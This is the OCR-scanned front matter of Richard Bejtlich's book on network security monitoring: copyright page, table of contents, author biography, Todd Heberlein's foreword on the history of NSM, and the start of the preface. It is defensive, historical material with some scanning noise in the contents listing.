THE PRACTICE OF 
NETWORK S ECURITY 











UNDERSTANDING INCIDENT DETECTION 
AND RESPONSE 


Na en 








` OQ $i 
| 


“An invaluable resource for anyone detecting 






and responding to security breaches.” 
—Kevin Mandia, FireEye President, 
former Mandiant CEO 





no starch 
press 


THE PRACTICE OF 
NETWORK SECURITY MONITORING 


THE PRACTICE OF 
NETWORK SECURITY 
MONITORING 


Understanding 
Incident Detection 
and ReApon^c 


by Richard Bejtlich 


no starch 


San Francisco 


THE PRACTICE OF NETWORK SECURITY MONITORING. Copyright O 2013 by Richard Bejtlich. 


All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, 
electronic or mechanical, including photocopying, recording, or by any information storage or retrieval 
system, without the prior written permission of the copyright owner and the publisher. 


Printed in USA 
First printing 
1716 15 14 13 123456789 


ISBN-10: 1-59327-509-9 
ISBN-13: 978-1-59327-509-9 


Publisher: William Pollock 

Production Editor: Serena Yang 

Cover Ilustration: Tina Salameh 

Developmental Editor: William Pollock 

Technical Reviewers: David Bianco, Doug Burks, and Brad Shoop 
Copyeditors: Marilyn Smith and Julianne Jigour 

Compositor: Susan Glinert Stevens 

Proofreader: Ward Webber 


For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly: 


No Starch Press, Inc. 
38 Ringold Street, San Francisco, CA 94103 
phone: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com 


Library of Congress Cataloging-in-Publication Data 


Bejtlich, Richard. 

The practice of network security monitoring : understanding incident detection and response / by 
Richard Bejtlich. 

pages cm 

Includes index. 

ISBN-13: 978-1-59327-509-9 

ISBN-10: 1-59327-509-9 

1. Computer networks--Security measures. 2. Electronic countermeasures. I. Title. 

TK5105.59.B436 2013 

004.6- -dc23 

2013017966 


No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other 
product and company names mentioned herein may be the trademarks of their respective owners. Rather 
than use a trademark symbol with every occurrence of a trademarked name, we are using the names only 
in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the 
trademark. 


The information in this book is distributed on an “As Is” basis, without warranty. While every precaution 
has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any 
liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or 
indirectly by the information contained in it. 


This book is for my youngest daughter, Vivian. 
Now you have a book, too, sweetie! 


BRIEF CONTENTS 


About the Author siecia ei areca a xvii 
Foreword by Todd Heberlein. ........ d aae eati aak a a eee eee xix 
Pield6e te ad ticdats aan eds quita eh eee tems km ed Mee Coe E E Xxv 
PART I: GETTING STARTED 

Chapter 1: Network Security Monitoring Rationale. ....... eee 3 
Chapter 2: Collecting Network Traffic: Access, Storage, and Management............. 33 


PART Il: SECURITY ONION DEPLOYMENT 


Chapter 3: Stand-alone NSM Deployment and Installation .............0 0000 eee eee 55 
Chapter 4: Distributed Deployment. ....... ies I 75 
Chapter 5: SO Platform Housekeeping... .... ee 99 
PART Ill: TOOLS 

Chapter 6: Command Line Packet Analysis Tools... 2... 0... ee esee 113 
Chapter 7: Graphical Packet Analysis Tools... 0.0... eee tees 135 
Chapter 8: NSM Consoles rara s44.204 eem Ree yes cede ae ee ee ee 159 
PART IV: NSM IN ACTION 

Chapter 9: NSM Operations... 0.0... eee eee eens 185 
Chapter 10: Server-side Compromise... 2.0... eee 207 
Chapter 11: Client-side Compromise ...... le II 235 
Chapter 12::Extendingi SO s cds seca hh kee edes e badd aware Rebeca 263 
Chapter 13: Proxies and Checksums .......... 000 ce cece cette eee eee 289 
euis PCI ULCUS 303 
Appendix: SO Scripts and Configuration ...... esses 311 


CONTENTS IN DETAIL 


ABOUT THE AUTHOR xvii 
FOREWORD by Todd Heberlein xix 
PREFACE xxv 
Audience REOR ET ERE ck etch hh a ain pee, adh Nee ia ads Gene ae pa xxvi 
Prerequisitas -« «234 sos x a ats eli os aca eode Mo tratan cha aere A deos xxvii 
A Note on Software and Protocols... n.. a eese xxvii 
COPS CC" UU xxviii 
Acknowledgments ...... sse ara a haie SAE e E A xxix 
PART I 
GETTING STARTED 
1 
NETWORK SECURITY MONITORING RATIONALE 3 
An Introduction to NSM ..... lees 4 
Does NSM Prevent Intrusions? ...... see 5 
What Is the Difference Between NSM and Continuous Monitoring?.......... 8 
How Does NSM Compare with Other Approaches? ..............-00005 9 
Why Does: NSM Work? sic. o chick cal ae aie els lala e eda IC etis 10 
How NSM Is Set Up 0... I 1] 
When NSM Won't Work... 0.0.0.0... 000 eee eee ee eee eee 12 
Is: NSM Legale; sosaren er ub REG Ra ne EOE ee we eR 13 
How Can You Protect User Privacy During NSM Operations?............. 14 
A Sample NSM Testis. opi LETTRE RES S E RE WRRI MERI qRRS 15 
The Range of NSM Data... .. iiis eee 16 
FulltContentiDate: vau cn coder tet Non atte t Oh sede aw nd ded e ls 16 
Extracted Content Data ..... lee es 19 
Session Dalasa do soe e faece e Toro RO e se o d ce Ree T CUR cs ees d 21 
Transaction Data» s eee tree necs xx ates dex NU eR 22 
Sietisrical DOG neci eee se E ces a eL eed tees 24 
Metadata «uos ile pneleg er e dot ebb dred be Ga I CPE eR 26 
Alert: Date: sek dum derer Sy ol bbw OSs eden weeds nw m 28 
What's the Point of All This Data? ....... llle eee 30 
NSM’ Drawbacks i45 Ri Rm REX eem RED NEA RR HD Re NES 31 
Where Can Buy NSM ox cus cx hee RRRGRGG I ERECERRG HE RE RE 31 
Where Can | Go for Support or More Information? ....... llle 32 


CONGIWSION sox RETE EE DONOR atk aa ee HERD RR 32 


2 
COLLECTING NETWORK TRAFFIC: 
ACCESS, STORAGE, AND MANAGEMENT 


A Sample Network for a Pilot NSM System. ..... lese 
Traffic Flow in a Simple Network ....... eese 
Possible Locations for NSM . 0... 2. eh 
IP Addresses and Network Address Translation... ........0.0 000 cece eee 
Hr [P "prr 
IP Address Assignments .... ies 
Address Translation... ees 
Choosing the Best Place to Obtain Network Visibility |... .... lesse 
Location for DMZ Network Traffic... n. nananana sese 
Locations for Viewing the Wireless and Internal Network Traffic........... 
Getting Physical Access to the Traffic... 2... lee 
Using Switches for Traffic Monitoring. ..... eese 
Using.a Network Tap: «cese RR RR keah ieaiaia COE RR ERE 
Capturing Traffic Directly on a Client or Server... o...n 000000 eee 
Choosing an NSM Platform. s sre dta et ette Xe E deel a RR CR x 
Ten NSM Platform Management Recommendations ....... esses 
COPCIUSIOTI Sosa E ORTU NUES Resto eR MON Grd eS esu d TE 


PART Il 
SECURITY ONION DEPLOYMENT 


3 
STAND-ALONE NSM DEPLOYMENT AND INSTALLATION 


Stand-alone or Server Plus Sensors... eese 
Choosing How to Get SO Code onto Hardware ......... 0.0000 cece eee ee 
Installing a Stand-alone System ........lele esI 
Installing SO to a Hard Drive... 
Configuring SO Software... 
Choosing the Management Interface... 2... eee 
Installing the NSM Software Components. ....... llle eee 
Checking Your Installation ..... ee 
Coriclusion ; aues eg ARR e PEE ATG a ABEL ARS KRG & Ce ANTES E S 


4 
DISTRIBUTED DEPLOYMENT 


Installing an SO Server Using the SO .iso Image... 1... eee eee 
SO Server Considerations ...... e tte eee 
Building Your SO Server s ness aea eet eee 
Configuring Your SO Server, 4. cds tdeo sted waa RR wade 
Installing an SO Sensor Using the SO .isolmage. ...... llle eese eee 
Configuring the SO Sensor... 
Completing Seps zoe Re RE SEReERIHARESQARIG IBS 
Verifying that the Sensors Are Working... eese 
Verifying that the Autossh Tunnel Is Working ....... llle esses 


X Contents in Detail 


Building an SO Server Using PPAs. isses 
Installing Ubuntu Server as the SO Server Operating System ............ 
Choosing a Static IP Address ..... eese 
Updating the Software... iiis 
Beginning MySQL and PPA Setup on the SO Server ............-.--4- 
Configuring Your SO Server via PPA... eiiis sss 

Building an SO Sensor Using PPAs. .... iile 
Installing Ubuntu Server as the SO Sensor Operating System ............ 
Configuring the System as a Sensor.... 2.0.0... ll ssl. 
Running the Setup Wizard... 

CONCLUSION: 31e WE uix po ER NUR OR UR URN RR EUR able ONG 


5 
SO PLATFORM HOUSEKEEPING 


Keeping SO Up:to:Date. 4 rop det RR doe RR boe E ees 
Limiting Access To- SO. euo aos ve E XU ep E Rh a p oe ein RR RR C gd 
Connecting via a SOCKS Proxy .... iiis 
Changing the Firewall Policy ...... eee 
Managing SO Data Storage ........ llle 
Managing. Sensor Storage us sesso ee x aere eX AUR PAG Sead 
Checking Database Drive Usage. .... see 
Managing the Sguil Database .... 2... ee ees 
Tracking Disk Usdgé: . usc ce edm cu yaa RR ERR S RC E REDEFA 
Conclusion 3e m pex xem px RE p Rx xS Ree pe i 


PART Ill 
TOOLS 


6 
COMMAND LINE PACKET ANALYSIS TOOLS 


SO Tool.Categories i. suceso t acts be woe a Ge RE RR REOR eR E Ede 
SO Data Presentation Tools... 2.1... ees 
SO Data Collection Tools. a wesc caus cbr RR RE ee Cee heed 
SO Data Delivery Tools ...... ce 
Running Icpdump aso cus e na Ea RE A EE a s XA NOU EN EN 
Displaying, Writing, and Reading Traffic with Tcpdump..............-- 
Using Filters with Tepdump. .... lle 
Extracting Details from Tcpdump Output. .... elles 
Examining Full Content Data with Tcpdump ...... llle esses 
Using Dumpcap and Tshark..... sil 
Running: Tshatk xi ee ete toe atn 3 Po a ce D DA cde 
Running Dumpcap; eedi ce ure RH RR eB acs re dU CR 
Running Tshark on Dumpcap's Traffic .. o... eese 
Using Display Filters with Tshark...... eee 
Tshark Display Filters in Action... 


113 


114 
114 
115 
115 
116 
117 
118 
121 
122 
122 
123 
123 
125 
125 
127 


Contents in Detail Xi 


Running Argus and the Ra Client... 
Stopping and Starting Argus .... ise 
The Argus File: Format «123: 1 eure eod erae na eed ea ee Red a on 
Examining Argus Data. ...... leise 
Conclusion «inier m epRe UR erg 644 19 NEES QUO DETERS GRRE qe WR 


7 
GRAPHICAL PACKET ANALYSIS TOOLS 


Using; Wireshark-. «6s nest zelo esp hee eepr aS PeeERRISRe e RR 
Running Wireshark ...... sie 
Viewing a Packet Capture in Wireshark. ........ llis eee eee 
Modifying the Default Wireshark Layout ........ 0.0.0 ce eee eee eee 
Some Useful Wireshark Features... eese 
Using; Xplico: ux 028. coat HEE pem uer Rey mex uere Mise eee dg be dee a 
RUNNING Xplico:. 2 nuhi dace esc oS Mdh qud ek n Bo dps d bes 
Creating Xplico Cases and Sessions ..... liiis 
Processing Network Traffic... 0.0... cese 
Understanding the Decoded Traffic... 2.0... eee 
Getting Metadata and Summarizing Traffic .... 0.0... eee eee 
Examining Content with NetworkMiner........ eee 
Running NetworkMiner ...... isse eee eae 
Collecting and Organizing Traffic Details. ....... eese 
Rendering Content ...... sisi 
EON CIUSION ead ae hans TEN UI EA AA A Tp 


8 
NSM CONSOLES 


An NSMcentric Look at Network Traffic... esee 
Using Squil «emer ERR REIR hohe Sea eee REDE EA A RE E IRR TE 

Running .Sgull. sss iaga eg pre T RAS RRReERRA RR CER ERO eES 

Sguil's Six Key Functions ..... eee 
UsingiSqUetta v2 39 rE RA ROREQUeS BOUE AER EKAR AEAN 
Using SnOnbys¢ 2 dier ed needa IRURE Reine d qeu eee eio 
Uing ELS Ad aine it tee a tent ete so tcp Rp ER Soest ete ke totos Lar ER totos 


Conclusion eer ded Seca tet eod cad LIU ADU AU DI AE 


PART IV 
NSM IN ACTION 


9 

NSM OPERATIONS 

The Enterprise Security Cycles: au: cea yaaa kek sake i ew) eee ae eRe EWES 
The Planning Phase... ke RR RR teraseraeee tare pbs 
The Resistance Phase. .... 2. 
The Detection and Response Phases ............0 liliis sess 


Xil Contents in Detail 


Collection, Analysis, Escalation, and Resolution. ........ lolo sess 
Collecion. es T EET TRE TROC eek Ge ome T TT 
Analysis... scat acts prn erp Rr RR D x EE 
Escaldiion «xe EE rel os, xU sia ate tes 
Resolutio icc rice hace avd wand eed Eva ace e pacc I RE RS 
Remedidiiom sm aaga e a a aa e a RCM, 
Using NSM to Improve Security ... o.o lees 
Building A CIRT.. «caeca ma a eaa Nace aos RC EE bac Re cd 


Conclusion x2: o orient reine eite rescindi Diete diu dies 


10 
SERVER-SIDE COMPROMISE 


Server-side Compromise Defined .... 0.0.0... cee lessen 
Server-side Compromise in Action .........0 000 cece cee eee 
Starting with Sguil, ioo se eR SR RR Pea Re eee EST OR eRe EA 
Querying Sguil for Session Data... 2. lesse 
Returning to Alert Data... 2... ete 
Reviewing Full Content Data with Tshark ..........0-.. 000000 e ee eee 
Understanding the Backdoor ...... llle 


Exploring the Session Data... 2... ee eee ee eee eee 
Searching Bro DNS Logs... 6... eee tees 
Searching Bro SSH Logs... 1... ee eee 
Searching! Bro FIP Logs. .2nur. sate a ey Sayed a eee ae PE RES ee 
Decoding the Theft of Sensitive Data... 1.2... ee 
Extracting the Stolen Archive ......... 00 0c ce eee ee eee 

Stepping Back «esses rete ayaa RE pee uode Pars d ea ke neds 
SUMMARIZING Sage T essasi narrandi wo ovx Ex oe alee ns doe 
Summarizing Stage 2 2.2... retir rita rI Erir E ERRET? 
Mexi Stepse 0 p er a n Roe toe x a ctos e x pos eot a od 

Conclusion. «e accetta de toes Ta AM ae R OL RUE BE Ah EAD NR Co CR e RO 


11 
CLIENT-SIDE COMPROMISE 


Client-side Compromise Defined ......... lesse 
Client-side Compromise in Action... 0... lee 
Getting the Incident Report from a User... ee eese 
Starting Analysis with ELSA ... eese 
Looking for Missing Traffic... 
Analyzing the Bro dns.log File... 
Checking Destination Ports .... sisse 
Examining the Command-and-Control Channel .........0. 0.000 e eee eee 
MNA ACCESS orsi a,b agente ed toe tenet ioe On decere 
Improving the Shell... nnan ele 
summarizing Stage. l edrat aniar Pee ARES ER eee Ee Be EF 
Pivoting to a Second Victim... 0... eee eee 
Installing a Covert Tunnel... 2... llle III 


257 


Contents in Detail Xiii 


Enumerating) the: Victims 5d xx t eoe X 3 Ee oa E RR RO UR RR deca 
Summarizing Stage 2 ........ liess 
(COHclUsIOn care cachet sheets etter as aXe t A a t sederit seg RUE: 


12 
EXTENDING SO 


Using Bro to Track Executables < socera doanak annaia e 
Hashing Downloaded Executables with Bro... 2.2.2... ee ee ee 
Submitting a Hash to VirusTotal...... eee 

Using Bro to Extract Binaries from Traffic... 2.0... eee 
Configuring Bro to Extract Binaries from Traffic... . 0.0.0... ee eee 
Collecting Traffic to Test Bro... eee ee 
Testing Bro to Extract Binaries from HTTP Traffic... ......... 0-0 eee ee 
Examining the Binary Extracted from HTTP... 1.0.2... ille 
Testing Bro to Extract Binaries from FTP Traffic .... 0.0.0.0... eee eee 
Examining the Binary Extracted from FIP... 2.0.0.0... ee eee ee eee 
Submitting a Hash and Binary to VirusTotal ... 2.2.0... eee eee 
Restarting! Bios: «sed sear Bie SER RDS ARs OMe eR See GER 

Using APTI Intelligence 2.0... eee IRR II 
Using. ihe-APTT Module... cay siem e RR eR EI Er a cede EI Yn 
Installing the APT] Module. ..... lee III 
Generating Traffic to Test the APT] Module ...... llle sess 
Testing the APT] Module... 

Reporting Downloads of Malicious Binaries. ...... eee 
Using the Team Cymru Malware Hash Registry. ...... llle sss 
The MHR and SO: Active by Default... .... eese 
The MHR and SO vs. a Malicious Download .......... 0.000 eee eee 
Identifying the Binary... i.e RII 

Conclusion: «s: AUR EX RU ROUESRPENAEQRENPIERREEEERRA EE CENA E 


13 
PROXIES AND CHECKSUMS 


dol pep" HERDIDLCUUTT T 
Proxies cind Visibility... usce gd kaw oae cte eb Roca 
Dealing with Proxies in Production Networks ........ llle esses 
CHECKSUING M" """EEEEEEEEETDCCHEEPM 
A Good Checksum eta 4 944 serere dew E Ree Ya a 
A Bad Checksum sasaaa a oa eanan es 
Identifying Bad and Good Checksums with Tshark .............-0-05- 
How Bad Checksums Happen .......... 2.0.00: e eee e 
Bro and Bad Checksums ... 1.2.0... 000 eect tee ee 
Setting Bro to Ignore Bad Checksums.......... 0.000 c eee eee eee 
CONCLUSION: as ht iene e RATE ERS er CREA ERS OBI HERR oa A 


CONCLUSION 


Cloud Compungirse i des E E ERE TEE T 
Cloud Computing Challenges. ...... eese 
Cloud Computing Benefits sess ars eee 


XiV Contents in Detail 


Workflow, Metrics, and Collaboration ......... sl RR 307 


Workflow and Metrics... RR 307 
Collaboration. ........ loe 308 
Conclusiones see eraa a M EE E re KM Ae E i 309 
APPENDIX 
SO SCRIPTS AND CONFIGURATION 311 
SO Control Seripts:....2.5 cated em dce dee OP oe ene ERE eed ERE ed 311 
70817 sbin SIM secco e 283) ads. dood Def RR CR e ee od es eR aad 313 
Zust/sbin/nsm.dll:del; iui se Rec all ee Ve Uae Eee RENS 313 
/usr/sbin/nsm all del quick ....... liliis 314 
/usr/sbin/nsm sensor. ..... cce es 315 
/usr/sbin/nsm sensor add ...... liess 316 
/usr/sbin/nsm sensor backupconfig ....... liliis. 316 
/usr/sbin/nsm sensor backupdata ... 2.0.2... .0 00 cee ee eee ee 316 
/usr/sbin/nsm sensor clean ......... ees 316 
/usr/sbin/nsm sensor clear. ........ 0.000: eee eee eee 316 
/usr/sbin/nsm sensor del....... oes 316 
/usr/sbin/nsm sensor edit .......... ecce ess 317 
/usr/sbin/nsm sensor. psdailyrestart ....... liliis 317 
/usr/sbin/nsm sensor. psrestart. ..... eese 317 
/usr/sbin/nsm sensor psstart.... sisse 319 
/usr/sbin/nsm sensor psstatus «.... sese 319 
/usr/sbin/nsm sensor psstop .... lisse 320 
/usr/sbin/nsm server... ssec s e a t RR REPRE RR PEG 320 
/usr/sbin/nsm_server_add.......... 0.0.0.0 cee es 320 
/usr/sbin/nsm server backup-config ..........0 00000 cece eee eee 320 
/usr/sbin/nsm_server_backup-data.... 2.0.0... 000 c cece a 320 
/usr/sbin/nsm_server_clear.... 0.0.0.0 00 cece eee ee eee n 321 
/usr/sbin/nsm server del ..... oes 321 
/usr/sbin/nsm server edit. ...... oce 321 
/usr/sbin/nsm server psrestart ...... esee 321 
/usr/sbin/nsm server psstar .... isses 321 
/usr/sbin/nsm server psstatus. ..... csse ees 321 
/usr/sbin/nsm server psstop..... lisse 321 
/usr/sbin/nsm server sensoradd.. ooi sss 322 
/usr/sbin/nsm server sensordel ... 0.0.0.0... 0c cece eee eee eee 322 
/usr/sbin/nsm_server_user-add ........ 0... 0c cee eee 322 
SO Gonfiguration Files. seia se needa eden Heme ade ea eee eee nea ea 322 
"elc MSI) o's ees ts ata ce wat te A ns EA aa eU. Me ea 322 
/etc/nsm/administration.conf... 2... 00. eee 323 
/eic/nsm/ossec/ ra e era aaaea rh hs 323 
/etc/nsm/pulledpork/. ........ llis 323 
/eic/nsm/rüles/ es i2 SS e ane eh RE E ERG RES RA RE URP es 323 
/etc/nsm/securityonion/ i erer ccs 324 
/etc/nsm/securityonion.conf .... 0... illii 324 
/eic/ nsm/sensortab » sese RXRIBXG S RIERRNSISGUENXETRENGERRT 325 
/eic/nsm/serverab; «e de ex E A c EE da a Gm ES 326 
/etc/nsm/templates/ ....... isses es 326 
/etc/nsm/ $HOSTNAME-$INTERFACE/ ...... sse 326 
Pie elo] tio P wo cost os, cee Medes tection Gh a a Mets, eich aos wan ede S ees 330 


Contents in Detail XV 


CapMe iussus ac race Pasar tea eee e Re e aca eda qe a 331 
ELSA D ott ua traria petes ede fia uer on e tu en e EE 331 
SU CETT 331 
SMOBY a ede dev TORY GUuEPPPOLCYH4R x ane te PRA UR RED a 332 
Syslogmgi. s ss eeado Pade ddages eR Ped Kap cede UR Age ibam 332 
/etc/network/interfaces ...... eese 332 
INDEX 335 


XVÍ Contents in Detail 


About the Author 


Richard Bejtlich is Chief Security Strategist at FireEye and was Mandiant’s 
Chief Security Officer when FireEye acquired Mandiant in 2013. He is a 
nonresident senior fellow at the Brookings Institution, and an advisor to 
Threat Stack, Sqrrl, and Critical Stack. He is also pursuing a Master/Doctor 
of Philosophy degree in War Studies at King's College London. He was pre- 
viously Director of Incident Response for General Electric, where he built 
and led the 40-member GE Computer Incident Response Team (GE-CIRT). 
Richard began his digital security career as a military intelligence officer in 
1997 at the Air Force Computer Emergency Response Team (AFCERT), Air 
Force Information Warfare Center (AFIWC), and Air Intelligence Agency 
(AIA). He is a graduate of Harvard University and the United States Air 
Force Academy. He writes for his blog (Attp://taosecurity.blogspot.com/) and 
Twitter (@taosecurity). 


FOREWORD 


This may be one of the most important books you 
ever read. Cybersecurity is both a national and 
economic security issue. Governments worldwide 
wage clandestine battles every day in cyberspace. 


Infrastructure critical to our safety and well-being, 


like the power grid, is being attacked. Intellectual property, key to our 
economic prosperity, is being sucked out of this country at a massive rate. 
Companies large and small are constantly at risk in the digital world. 

It is this civilian component of the conflict that makes this book so 
important. To borrow from a cliché: If your organization is not part of the 
solution, it is part of the problem. By protecting your organization, you 
prevent it from being used as a stepping-stone to attack your suppliers, 
your partners, your customers, and other organizations around the world. 
Furthermore, by detecting attacks, you can help alert others who may have 
been attacked by the same techniques or the same adversaries. 
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Foreword 


Few people or organizations are called upon to protect their country 
from traditional terrorist attacks or military invasions, but that’s not true in 
cyberspace. Reading this book will not turn your team into the next Cyber 
Command, or even the next Mandiant, but it will provide you with the 
knowledge to increase your security posture, protect your organization, 
and make the world just a little bit safer. 

In August of 1986, an accounting error of 75 cents led to the birth of the 
network security monitoring industry. Cliff Stoll, as initially documented in 
his 1988 paper “Stalking the Wily Hacker" and later in his book The Cuckoo's 
Egg, was asked to find the reason behind the discrepancy in his organiza- 
tion’s two accounting systems. What followed was a multiyear odyssey into 
international espionage during which he exposed techniques used by both 
attackers and defenders that are still relevant today. 

One of the sites targeted by Stoll’s attacker was Lawrence Livermore 
National Laboratory (LLNL). And, as good managers are wont to do, one 
of the LLNL managers turned a failure into a funding opportunity. In 1988, 
LLNL secured funding for three cybersecurity efforts: antivirus software, 

a “Security Profile Inspector” application, and a network-based intrusion 
detection system called Network Security Monitor, or NSM. Without much 
experience in these areas, LLNL turned to Professor Karl Levitt at the 
University of California, Davis, and with LLNL’ initial funding, the UC 
Davis Computer Security Laboratory was created. As far as I know, LLNL 
managers coined the term Network Security Monitor, but it was largely left to 
UC Davis to implement the idea.’ 

My initial work in the network security monitoring area, documented 
in our 1990 paper cleverly titled “A Network Security Monitor,” was similar 
to the more academic work in intrusion detection that relied on statistical- 
based anomaly detection. But over time, and with operational experience 
under our belt, NSM began to look more and more like Cliff Stoll’s activities. 
In 1988, Stoll wrote, “We knew of researchers developing expert systems that 
watch for abnormal activity, but we found our methods simpler, cheaper, 
and perhaps more reliable”? 

Where Stoll attached printers to input lines so he could print users’ 
activities and see what attackers were actually doing, I created the “transcript” 
program to create essentially the same output from network packets. As far as 
NSM is concerned, this proved essential for verifying that suspicious activity 
was actually an intrusion, and for understanding the nature of the attacker. 

Where Stoll and his colleague Lloyd Belknap built a logic analyzer 
to run on a serial line so they could look for a specific user logging in, I 
added string matching code to our network monitor to look for keywords 
(attempts to log into default accounts, login failure messages, accessing a 
password file, and so on). 


1. As demonstrated by the title of this book, the terms network security monitor and NSM are 
now used to describe security-based network monitoring in general. However, for me, in the 
early 1990s, these terms referred specifically to my project. In this foreword, I use these terms 
to refer to my project. 


2. Communications of the ACM 31, no. 5 (May 1988): 484. 


Stoll also added automatic response mechanisms that paged him when 
the attacker logged in, interrupted the connection when the attacker got 
too close to sensitive information, and cross-correlated logs from other 
sites—all features that would become common in intrusion detection sys- 
tems a number of years later. 

By 1991, the NSM system was proving valuable at actually detecting and 
analyzing network attacks. I used it regularly at UC Davis, LLNL used it spo- 
radically (privacy concerns were an issue), and soon the Air Force and the 
Defense Information Systems Agency (DISA) were using it. 

In some ways, however, operating the NSM system became a bit depress- 
ing. I realized how many attackers were on the network, and virtually no one 
was aware of what was happening. In one instance, DISA was called out to 
a site because of some suspicious activity coming from one of its dial-up 
switches. Coincidentally, the organization was ordering a higher capacity 
system because the current platform was saturated. When DISA hooked up 
its NSM sensor, it found that roughly 80 percent of the connections were 
from attackers. The equipment was saturated not by legitimate users, but 
by attackers. 

By 1992, the use of the NSM system (and perhaps other network-based 
monitors) reached the attention of the Department of Justice, but not in a 
good way. The then Assistant Attorney General Robert S. Mueller III (the 
Director of the FBI as I write this) sent a letter to James Burrows of the 
National Institute of Standards and Technology (NIST) explaining that 
the network monitoring we were doing might be an illegal wiretap, and that 
by using tools like the NSM system we could face civil and criminal charges. 
Mueller encouraged NIST to widely circulate this letter. 

Despite legal concerns, the work in this field continued at breakneck 
speed. By the summer of 1993, LLNL sent me a letter telling me to stop 
giving the NSM software away (they wanted to control its distribution), and 
soon after that, I started reducing my work on NSM development. LLNL 
renamed its copy of the NSM software the Network Intruder Detector (NID), 
the Air Force renamed its copy the Automated Security Incident Measurement 
(ASIM) System, and DISA renamed its system the Joint Intrusion Detection 
System (JIDS). By the late 1990s, the Air Force had rolled out ASIM to roughly 
100 sites worldwide, integrating the feeds with their Common Intrusion 
Detection Director (CIDD). 

At the same time, commercial efforts were also springing up. By the late 
1990s, Haystack Labs (which had worked with the NSM software produced 
by our joint DIDS work) released its network-based IDS named Net Stalker, 
WheelGroup (formed by Air Force personnel who had used ASIM) released 
NetRanger, ISS released RealSecure, and other companies were rushing 
into the market as well. 

By the late 1990s, the open source community was also getting involved 
with systems like Snort, and by the early 2000s, some groups started set- 
ting up entire security operations centers (SOCs) largely built around 
open source components. I first met Richard Bejtlich (another Air Force 
alum) as he was setting up just such a system called NETLUMIN for Ball 
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Aerospace & Technologies Corp. While few may have heard of NETLUMIN, 
many of its designs and concepts survive and are described in this book. 

People too often tend to focus on technologies and products, but build- 
ing an effective incident response capability involves so much more than 
installing technology. A lot of knowledge has been built up over the last 
20 years on how to optimally use these tools. Technologies not deployed 
correctly can quickly become a burden for those who operate them, or even 
provide a false sense of security. For example, about a dozen years ago, I 
was working on a DARPA project, and an integration team was conducting 
an exercise bringing together numerous cybersecurity tools. The defend- 
ers had installed three network-based IDSs watching their border, but the 
attacker came in via a legitimate SSH connection using a stolen credential 
from a contractor. None of the IDSs generated a peep during the attack. 
This initially surprised and disappointed the defenders, but it elegantly 
pointed out a fundamental limitation of this class of detection technology 
and deployment strategy against this class of attack. (I'm not sure the pro- 
gram manager found this as much of a wonderful teaching moment as I did.) 

When working on the Distributed Intrusion Detection System (DIDS) 
for the Air Force in the early 1990s, one of our program managers described 
the expected user of the system as "Sergeant Bag-of-Donuts." There was 
an expectation that a “magic box” could be deployed on the network or 
a piece of software on the end systems and that all of the organization's 
cybersecurity problems would go away. Security companies’ marketing 
departments still promote the magic box solution, and too often manage- 
ment and investors buy into it. 

Products and technologies are not solutions. They are just tools. Defenders 
(and an organization’s management) need to understand this. No shiny 
silver bullet will solve the cybersecurity problem. Attacks have life cycles, 
and different phases of these life cycles leave different evidence in different 
data sources that are best exposed and understood using different analysis 
techniques. 

Building a team (even if it is just a team of one) that understands this 
and knows how to effectively position the team’s assets (including tools, 
people, and time) and how to move back and forth between the different 
data sources and tools is critical to creating an effective incident response 
capability. 

One of Richard Bejtlich's strengths is that he came up through the 
ranks—from working at AFCERT from 1998 to 2001, to designing and field- 
ing systems, to building a large incident response team at GE, to working 
as Chief Security Officer at one of the premier information security compa- 
nies in the world. His varied experience has given him a relatively unique 
and holistic perspective on the problem of incident response. While this 
book is not set up as a “lessons learned” book, it clearly distills a lot of his 
experience with what actually works in practice. 

As Cliff Stoll's wily hacker demonstrated, international cyber espionage 
has been going on for nearly 30 years, but there has been a fundamental 
shift in the last 5 to 10 years. In the past, hacking was largely seen as a hobby 
that, for the most part, hackers would grow out of as they secured jobs, got 


married, and started families. But today, hacking has become a career path. 
There is money to be made. There are tactical and strategic advantages to 
be gained. 

Almost all future conflicts—whether economic, religious, political, or 
military—will include a cyber component. The more defenders we have, 
and the more effectively we use them, the better off we will all be. This 
book will help with that noble effort. 


Todd Heberlein 

Developer of the Network Security Monitor System 
Davis, CA 

June 2013 
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PREFACE 


Network security monitoring (NSM) is the collection, analysis, 
and escalation of indications and warnings (IW) 
to detect and respond to intrusions. 


—Richard Bejtlich and Bamm Visscher! 


Welcome to The Practice of Network Security Monitoring. 
The goal of this book is to help you start detecting 
and responding to digital intrusions using network- 
centric operations, tools, and techniques. I have 
attempted to keep the background and theory to a 
minimum and to write with results in mind. I hope 


this book will change the way you, or those you seek to influence, approach 
computer security. My focus is not on the planning and defense phases of 
the security cycle but on the actions to take when handling systems that are 
already compromised or that are on the verge of being compromised. 





1. SearchSecurity webcast, December 4, 2002 (slides archived at http://www.taosecurity.com/ 
bejtlich_visscher_techtarget_webcast_4_dec_02.ppt). 
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This book is a sequel and complement to my previous works on NSM: 


e The Tao of Network Security Monitoring: Beyond Intrusion Detection (Addison- 
Wesley, 2005; 832 pages). The Tao provides background, theory, history, 
and case studies to enrich your NSM operation. 


e Extrusion Detection: Security Monitoring for Internal Intrusions (Addison- 
Wesley, 2006; 416 pages). After reading The Tao, Extrusion Detection 
will expand NSM concepts to architecture, defense against client-side 
attacks, and network forensics. 


e Real Digital Forensics: Computer Security and Incident Response with Keith 
J. Jones and Curtis W. Rose (Addison-Wesley, 2006; 688 pages). Last, 
RDF shows how to integrate NSM with host- and memory-centric foren- 
sics, allowing readers to investigate computer crime evidence on the 


bundled DVD. 


This book will jump-start your NSM operation, and my approach has 
survived the test of time. In 2004, my first book contained the core of my 
detection-centered philosophy: Prevention eventually fails. Some read- 
ers questioned that conclusion. They thought it was possible to prevent all 
intrusions if the “right” combination of defenses, software security, or net- 
work architecture was applied. Detection was not needed, they said, if you 
could stop attackers from gaining unauthorized access to networks. Those 
who still believe this philosophy are likely suffering the sort of long-term, 
systematic compromise that we read about in the media every week. 

Nearly a decade later, the security industry and wider information 
technology (IT) community are beginning to understand that determined 
intruders will always find a way to compromise their targets. Rather than 
just trying to stop intruders, mature organizations now seek to rapidly 
detect attackers, efficiently respond by scoping the extent of incidents, 
and thoroughly contain intruders to limit the damage they might cause. 

It’s become smarter to operate as though your enterprise is always 
